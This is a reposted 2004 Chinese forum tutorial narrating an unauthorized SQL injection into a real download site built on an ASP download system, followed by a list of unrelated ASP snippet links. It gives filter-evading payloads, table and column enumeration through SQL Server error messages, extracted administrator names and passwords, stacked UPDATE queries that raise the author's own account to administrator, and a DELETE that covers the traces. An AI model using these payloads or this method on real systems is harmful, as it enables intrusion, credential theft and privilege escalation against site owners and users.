渗入某下载系统全过程

时间:2004-5-5


BY:CRAZYSOUL
FROM:http://www.80age.net/bbs
欢迎转载,但请保留版权和出处

正在无聊时,一位网友发给我一条地址,说是被过滤了空格和一些特殊符号,看看能不能用SQL注入.

http://soft.xxxx.net/SoftView.Asp?SoftID=850
(地址已经打了格子)


一看就知道是典型的数字型,
先用'加在最后测试一下,
返回出错信息:
Microsoft OLE DB Provider for SQL Server 错误

可以看出是SQL服务器,再用最通用的语句来检测能否注入,即在后面加上:
and 1=1
(注意前面是有空格的)

没有正常返回,提示出错.

醒起网友说被过滤了空格,没问题,换成这样:

/**/and/**/1=1

(把用/**/替换了空格)
成功通过,页面跟没加这一句的效果一样.因为当这句通过softid这个参数传递后,在SQL语句中就变成大概这样:

"select xxx from xxx where softid=850 and 1=1"

后面的就是我加的,对原来的条件没有丝毫影响,所以页面会照常显示.

这句顺利通过,说明能注入的机会很大(但并不是百分百,我遇到限制长度的,制造假象,让你白忙半天,这将在下一篇说).

看看有没有简单的表名:

and (select count(*) from [admin])>0

转换空格为

/**/and/**/(select/**/count(*)/**/from/**/[admin])>0

(下面没有说明的都是经过替换空格的,为了看着舒服,就保留了空格)

成功,证明有表admin

继续看看还有没其他简单的表名:
and (select count(*) from [down])>0

没通过,没有..

回头看看刚才的admin表,看名字是应该记录管理员数据的,当然不能轻易放过

看看有多少条记录:
/**/and/**/(select/**/count(*)/**/from/**/admin)>1
                                                >2
.......

最后
/**/and/**/(select/**/count(*)/**/from/**/admin)=8

晕,竟然有8个管理员

看看有没有简单字段:
and (select count(username) from admin)>0

返回出错信息:

----------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 

聚合不应出现在 WHERE 子句中,除非该聚合位于 HAVING 子句或选择列表所包含的子查询中,并且要对其进行聚合的列是外部引用。 

/SoftView.Asp,行 14
------------------------ 

证明有username字段

看看第一个管理员的名字有多长:
and (select top 1 len(username) from admin)=11

11....算了,懒得再猜了,把所有表都暴出来吧.

 

先测试一下这句

and (select top 1 len(name) from sysobjects where xtype='u' and status>0)>1

变身,呵呵

/**/and/**/(select/**/top/**/1/**/len(name)/**/from/**/sysobjects/**/where/**/xtype=%27u%27/**/and/**/status>0)>1

(注意,这里不但替换掉了空格,还有'也要替换成%27,前面说了,这个站过滤了一些特殊符号,不替换语句会出错的.)

顺利执行,刚才这句只不过是试探能不能顺利执行的.

下面的才是正戏:

经典的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and status>0)

这句得到期待的出错信息:

--------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'a_cat' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp,行 14 
-------------------
 

看,得到表名 a_cat

测试下是否有ID这个字段:
and 1<(select id from sysobjects where xtype=%27u%27 and name=%27a_cat%27)

一般都会有的,看来太过通用可能有时也是种错,呵呵.

精彩的来了

最强的一句:
and 1=(select top 1 name from sysobjects where xtype=%27u%27 and id>(select id from sysobjects where xtype=%27u%27 and 
name=%27a_cat%27))

这是得到下一个表名,以此类推,每个表名都能找到它的下一个表名.

如此循环,得到所有表名如下:
a_cat
art
allcount
vcount
online
votetopic
voteitem
soft
reply
news
gb
friendlink
flcat
diary
d_remark
d_class
d_cat
cscat
coolsites
admin
SoftDown_online
SoftDown_DayUpdate
SoftDown_Cate
SoftDown_SoftEssay
SoftDown_SoftLink
SoftDown_SubCate
Admin_UserInfo
SoftDown_SoftInfo
dtproperties

统计下共有几个表,猜上瘾了,汗~~:
and (select count(*) from sysobjects where xtype=%27u%27 and status>0)>1
                                                                      >2
                                                                      ...
                                                                      =28
MD,竟然有28个.

表都出来了,暴字段吧,活活


先暴admin的

and 1=(select top 1 col_name(object_id(%27admin%27),1) from admin)
得到下面的

-----------------------------
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'admin_id' 转换为数据类型为 int 的列时发生语法错误。 

/SoftView.Asp,行 14 
-----------
 

得到字段名:admin_id

同样
and 1=(select top 1 col_name(object_id(%27admin%27),2) from admin)
.
.
.
得到所有的:

admin_id
admin_name
admin_password
issuper

直觉告诉还要再看看Admin_UserInfo的(其实俺的直觉还挺好的,呵呵)

and 1=(select top 1 col_name(object_id(%27Admin_UserInfo%27),1) from Admin_UserInfo)

UserID
UserName
PassWord
Email
RegDate
isActive
isAdmin
CatePub
CateAdm
CategoryName

 

先从ADMIN表选一个号试试:

and 1=(select top 1 admin_name from admin)

得到:admin


and 1=(select top 1 username from admin)

用户名:freedom1980


and 1=(select top 1 admin_password from admin)

密码:bishop62404

不能登陆,选另外一个表.(事后发觉该站可能是把两个站的数据表放到同一个数据库里了,所以才有两个管理员的数据表)

看看Admin_UserInfo
 

and 1=(select top 1 username from Admin_UserInfo)
名字:bisheng

and 1=(select top 1 PassWord from Admin_UserInfo)
密码:196a4758191e42f7

MD,可能加了密了

灵机一动,
检查isAdmin是什么值
and 1=(select top 1 isAdmin from Admin_UserInfo)

isAdmin=1

自己注册个新的用户先,俺习惯用"crazy".
猜他的用户登陆页面的地址:
admin_index.asp(通用性太强了...)

注册了,不能登陆,说是被锁定了之类.

检查自己的isActive是什么值:
and 1=(select isActive from Admin_UserInfo where UserName=%27crazy%27)

isActive=0

也检查isAdmin是什么值:
and 1=(select isAdmin from Admin_UserInfo where UserName=%27crazy%27)

isAdmin=0

顺便看一下自己的密码:
and 1=(select PassWord from Admin_UserInfo where UserName=%27crazy%27)
49ba59abbe56e057=123456

果然是加了密.

还等什么提升自己的权力吧
%3Bupdate Admin_UserInfo set isActive=1 where UserName=%27crazy%27%3B--

%3Bupdate Admin_UserInfo set isAdmin=1 where UserName=%27crazy%27%3B--

(注:%3B 是用来替换;号的, "--"这个是为了把后面的语句注释掉,MS SQL就是爽!)

 

OK,进后台看看

管理员同志好像是:
magicring

替换他的密码,嘻嘻,我才没那么缺德呢.

查查看是什么下载系统:

检查是
ActiveDown System XP Advanced Edition Ver1.3
动感下载系统XP高级版 Ver1.3
系统特性:批量生成静态页面,功能强大,用户访问速度极度优化,减轻服务器负担。(真的假的?)
 

搞掂,清理痕迹:
%3Bdelete from Admin_UserInfo where UserName=%27crazy%27%3B--

这次纯粹技术性渗入,没有破坏任何数据.

下次再说说怎样注入一个收费电影站.

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


数组的定义 Dim MyArray MyArray = Array(1‚5‚123‚12‚98) 可扩展数组 Dim MyArray() for i = 0 to 10
\'参数: \'code:要检测的代码 \'leixing:html或者ubb \'nopic:代码没有图片时默认值
演示效果: 代码下载: 点击下载
环境:winxp sp2 ,mysql5.0.18,mysql odbc 3.51 driver 表采用 myisam引擎。access 2003  不同的地方: 
其实说起AJAX的初级应用是非常简单的,通俗的说就是客户端(javascript)与服务端(asp或php等)脚本语言的数据交互。
<% ’判断文件名是否合法 Function isFilename(aFilename)  Dim sErrorStr,iNameLength,i  isFilename=TRUE
在调用的时候加入判断就行了. {aspcms:navlist type=0 } {if:[navlist:i]<6} < li><a href=\"[navlist:link]\" target=\"_top\">[navlist:name]</a> </li>
导航栏调用 {aspcms:navlist type=0}     <a href=\"[navlist:link]\">[navlist:name]</a>
1.引入外部文件: {aspcms:template src=infobar.html} 2.二级下拉菜单 <ul class=\"nav\">
downpic.asp页面:  <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
Cookies是数据包,可以让网页具有记忆功能,在某台电脑上记忆一定的信息。Cookies的工作原理是,第一次由服务器端写入到客户端的系统中。以后每次访问这个网页,都是先由客户端将Cookies发送到服务器端,再由服务器端
很简单,在需要调用的地方用这种模式 {aspcms:content sort={aspcms:sortid} num=17 order=isrecommend}
网站系统使用ACCESS数据库时,查询时怎么比较日期和时间呢?为什么常常比较出来却是错误的呢?比如早的日期比迟的日期大?
str1=\"1235,12,23,34,123,21,56,74,1232\" str2=\"12\" 问题:如何判断str2是否存在str1中,要求准确找出12,不能找出str1中的1235、123、1232
实例为最新版本的kindeditor 4.1.5. 主要程序: <% Const sFileExt=\"jpg|gif|bmp|png\" Function ReplaceRemoteUrl(sHTML,sSaveFilePath,sFileExt)
用ASP实现搜索引擎的功能是一件很方便的事,可是,如何实现类似3721的智能搜索呢?比如,当在搜索条件框内输入“中国人民”时,自动从中提取“中国”、“人民”等关键字并在数据库内进行搜索。看完本文后,你就可以发
首先感谢ASPCMS官网注册用户xing0203的辛苦付出!一下为久忆YK网络转载原创作者xing0203的文章内容!为了让小白更加清楚的体验替换过程,久忆YK对原文稍作了修改!
数据库连接: <% set conn=server.createobject(\"adodb.connection\") conn.open \"driver={microsoft access driver (*.mdb)};dbq=\"&server.mappath(\"数据库名\")
第1步:修改plugins下的image/image.js 找到\'<input type=\"button\" class=\"ke-upload-button\" value=\"\' + lang.upload + \'\" />\',
asp函数: <% Const sFileExt=\"jpg|gif|bmp|png\" Function ReplaceRemoteUrl(sHTML,sSaveFilePath,sFileExt)